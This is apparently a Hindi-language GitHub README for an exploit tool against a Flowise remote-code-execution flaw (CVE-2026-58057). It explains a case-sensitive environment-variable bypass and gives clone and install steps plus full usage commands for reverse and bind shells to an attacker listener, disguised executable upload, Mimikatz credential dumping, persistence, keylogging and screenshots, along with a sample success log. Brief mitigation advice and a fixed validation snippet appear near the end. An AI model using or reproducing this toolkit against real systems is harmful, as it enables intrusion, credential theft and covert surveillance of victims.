
Flowise Windows RCE एक्सप्लॉइट CVE-2026-58057 के लिए। केस-सेंसिटिव खामी के माध्यम से एनवायरनमेंट वेरिएबल सत्यापन को बायपास करता है। MCP stdio के माध्यम से मनमाना कोड इंजेक्ट करने के लिए node_options का उपयोग करता है। रिवर्स शेल, पर्सिस्टेंस, फ़ाइल अपलोड, क्रेडेंशियल डंपिंग का समर्थन करता है। केवल अधिकृत सुरक्षा परीक्षण के लिए।
यह CVE-2026-58057 के लिए एक प्रोडक्शन-ग्रेड एक्सप्लॉइट है, जो Windows प्लेटफ़ॉर्म पर Flowise में एक गंभीर रिमोट कोड एक्ज़ीक्यूशन भेद्यता है। यह भेद्यता केस-सेंसिटिव एन्वायरनमेंट वेरिएबल वैलिडेशन के कारण उत्पन्न होती है, जो लोअरकेस node_options को ब्लॉक करने में विफल रहता है, जिससे हमलावर NODE_OPTIONS डेनीलिस्ट को बायपास कर सकते हैं और Custom MCP stdio कॉन्फ़िगरेशन के माध्यम से मनमाना कोड निष्पादित कर सकते हैं।
यह एक्सप्लॉइट मॉड्यूलर आर्किटेक्चर, व्यापक त्रुटि प्रबंधन और कई पेलोड प्रकारों के समर्थन के साथ पेशेवर सॉफ्टवेयर इंजीनियरिंग प्रथाओं को प्रदर्शित करता है।
महत्वपूर्ण: यह टूल केवल अधिकृत सुरक्षा परीक्षण, पेनेट्रेशन परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है। किसी भी सिस्टम का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
हमलावर Flowise में प्रमाणीकरण करता है
Custom MCP stdio नोड बनाता/संशोधित करता है
लोअरकेस node_options एन्वायरनमेंट वेरिएबल इंजेक्ट करता है
वैल्यू को --require malicious-loader.js पर सेट करता है
जब MCP stdio चलता है तो Node.js लोडर को निष्पादित करता है
मनमाना कोड निष्पादन प्राप्त होता है
✅ Reverse Shell - हमलावर मशीन से वापस कनेक्ट करें
✅ Bind Shell - टारगेट पर लिसनिंग पोर्ट खोलें
✅ Command Execution - मनमाना सिस्टम कमांड चलाएँ
✅ File Upload - टारगेट सिस्टम पर फ़ाइलें अपलोड करें
✅ Persistence - कई पर्सिस्टेंस तंत्र
✅ Information Gathering - सिस्टम खुफिया जानकारी एकत्र करें
✅ Credential Dumping - Mimikatz एकीकरण
✅ Screenshot Capture - डेस्कटॉप स्क्रीनशॉट कैप्चर करें
✅ Keylogger - कीलॉगिंग क्षमता स्थापित करें
🔐 एकाधिक प्रमाणीकरण विधियाँ - API key या उपयोगकर्ता नाम/पासवर्ड
🔄 ऑटो-रिट्री लॉजिक - नेटवर्क समस्याओं के प्रति लचीला
🧹 सेल्फ-क्लीनिंग - टारगेट से लोडर फ़ाइलें हटाता है
🌐 क्रॉस-प्लेटफ़ॉर्म - Windows/Linux/macOS पर काम करता है
🎨 रंगीन आउटपुट - बेहतर पठनीयता
📊 वर्बोज़ डिबगिंग - समस्या निवारण के लिए विस्तृत लॉगिंग
Python 3.6 या उच्चतर
pip (पायथन पैकेज मैनेजर)
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| विकल्प | विवरण |
|---|---|
--interactive | इंटरैक्टिव शेल प्रारंभ करें |
--verbose | डिबग आउटपुट सक्षम करें |
--timeout |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload screenshot
# Upgrade to version 3.1.3 or later
npm install -g flowise@latest
# or
docker pull flowiseai/flowise:latest
Custom MCP कॉन्फ़िगरेशन तक पहुंच प्रतिबंधित करें
नेटवर्क सेगमेंटेशन लागू करें
संदिग्ध एन्वायरनमेंट वेरिएबल्स की निगरानी करें
वेब एप्लिकेशन फ़ायरवॉल (WAF) का उपयोग करें
# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous: # Case-insensitive check
raise ValueError(f"Modification not allowed")
[14:32:15] ℹ Starting exploit sequence...
[14:32:15] ℹ Attempting authentication...
[14:32:16] ✓ Authenticated with API key
[14:32:16] ℹ Preparing reverse_shell payload execution...
[14:32:16] ℹ Injecting environment variable...
[14:32:17] ℹ Triggering payload execution...
[14:32:19] ✓ Payload 'reverse_shell' executed successfully!
[14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444
[14:32:15] 🔍 Session created with retry strategy
[14:32:15] 🔍 Using existing workspace: ws_123456
[14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio configuration updated
# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose
# Test connectivity
curl -k https://localhost:3000/api/v1/version
# Check Python version
python3 --version
flowise-CVE-2026-58057-exploit/
├── exploit.py # Main exploit script
├── requirements.txt # Core dependencies
├── README.md # This documentation
├── LICENSE # MIT License
└── CHANGELOG.md # Version history
रिपॉजिटरी को फोर्क करें
फीचर ब्रांच बनाएं (git checkout -b feature/amazing)
परिवर्तन कमिट करें (git commit -m 'Add amazing feature')
ब्रांच पर पुश करें (git push origin feature/amazing)
पुल अनुरोध खोलें
यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
FlowiseAI को उत्पाद के लिए
समान भेद्यताओं की खोज करने वाले सुरक्षा शोधकर्ता
परीक्षण पद्धतियों के लिए पेनेट्रेशन टेस्टिंग समुदाय
लेखक: Sudeepa Wanigarathna सुरक्षा शोधकर्ता और पेनेट्रेशन परीक्षक
यदि आपको यह टूल उपयोगी लगे, तो कृपया विचार करें:
⭐ GitHub पर रिपॉजिटरी को स्टार करें
🔔 अपडेट के लिए फॉलो करें
📝 समस्याओं या सुझावों की रिपोर्ट करें
सुरक्षा समुदाय के लिए ❤️ के साथ बनाया गया
| विकल्प | विवरण | उदाहरण |
|---|
-t, --target | Flowise URL (आवश्यक) | http://localhost:3000 |
-k, --api-key | Flowise API कुंजी | flowise_abc123... |
-u, --username | उपयोगकर्ता नाम | admin |
-p, --password | पासवर्ड | password123 |
| विकल्प | विवरण | उदाहरण |
|---|
--payload | पेलोड प्रकार | reverse_shell |
--lhost | लिसनर होस्ट | 192.168.1.100 |
--lport | लिसनर पोर्ट | 4444 |
--command | निष्पादित करने के लिए कमांड | whoami |
--local-file | अपलोड करने के लिए फ़ाइल | payload.exe |
--remote-path | दूरस्थ सहेजने का पथ | C:\\Temp\\update.exe |
| अनुरोध टाइमआउट सेकंड में |
--retries | पुनः प्रयासों की संख्या |
| पेलोड | विवरण | तर्क |
|---|
reverse_shell | लिसनर से वापस कनेक्ट करें | --lhost, --lport |
bind_shell | लिसनिंग पोर्ट खोलें | --lport |
command_exec | कमांड निष्पादित करें | --command |
file_upload | टारगेट पर फ़ाइल अपलोड करें | --local-file, --remote-path |
persistence | पर्सिस्टेंस स्थापित करें | कोई नहीं |
info_gather | सिस्टम जानकारी एकत्र करें | कोई नहीं |
mimikatz | क्रेडेंशियल डंप करें | कोई नहीं |
screenshot | स्क्रीनशॉट कैप्चर करें | कोई नहीं |
keylogger | कीलॉगर स्थापित करें | कोई नहीं |
| समस्या | समाधान |
|---|
| SSL प्रमाणपत्र त्रुटि | pip install --trusted-host pypi.org -r requirements.txt |
| अनुमति अस्वीकृत | pip install --user -r requirements.txt |
| कनेक्शन अस्वीकृत | टारगेट URL और नेटवर्क कनेक्टिविटी सत्यापित करें |
| प्रमाणीकरण विफल | API कुंजी या उपयोगकर्ता नाम/पासवर्ड जांचें |
| पेलोड विफल | विस्तृत डिबगिंग के लिए --verbose का उपयोग करें |
| Python संस्करण | सुनिश्चित करें कि Python 3.6+ स्थापित है |